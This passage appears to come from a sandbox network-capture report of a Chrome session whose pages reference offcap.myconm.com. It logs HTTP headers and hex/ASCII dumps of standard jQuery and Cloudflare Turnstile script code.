":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.le
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 72 20 72 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 Data Ascii: r r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.remove
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 20 74 2c 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d Data Ascii: t,n,r=e?e.ownerDocument\|\|e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 65 28 6f 3d 69 5b 72 2b 2b 5d 29 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 Data Ascii: e(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var
2024-12-09 17:42:17 UTC	1369	IN	Data Raw: 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 Data Ascii: eElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49767	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:17 UTC	545	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:17 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 09 Dec 2024 17:42:17 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f9063374b04d/api.js Server: cloudflare CF-RAY: 8ef6ca781bd342d7-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49768	18.66.161.55	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:18 UTC	639	OUT	GET /files/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png HTTP/1.1 Host: findicons.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:19 UTC	452	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Connection: close Server: CloudFront Date: Mon, 09 Dec 2024 17:42:19 GMT Location: https://images.freeimages.com/fic/images/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png?ref=findicons X-Cache: Miss from cloudfront Via: 1.1 906c19c6e8b38a8bcf7fab7355f63ad2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH52-C1 X-Amz-Cf-Id: eVK3SXuYekp6sa1QHCgZLqXMkIa41940eXIYYDHi67g3RAqw2kGVkg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49769	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:18 UTC	560	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:19 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:19 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ef6ca826d1ac34f-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f Data Ascii: existent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e Data Ascii: __\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")throw n
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d Data Ascii: &&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var r=
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e Data Ascii: me="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49770	104.17.24.14	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:19 UTC	380	OUT	GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:19 UTC	959	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"603e8adc-15d9d" Last-Modified: Tue, 02 Mar 2021 18:58:36 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 896525 Expires: Sat, 29 Nov 2025 17:42:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8svMdux3RWCP6kxL0Nc5B2BZOPkBaGvitCxm8RNZJKXvk3eT%2BD%2FYYOBYj1R8O82xGwh4cXrCI6PfaRjeeLgYVHua%2BCUGzc560oBZQ3eYAana1bG8ENgFQQowdnX30vYPCqz0cog8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ef6ca85cb9015a3-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:19 UTC	410	IN	Data Raw: 33 39 37 37 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 3977/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
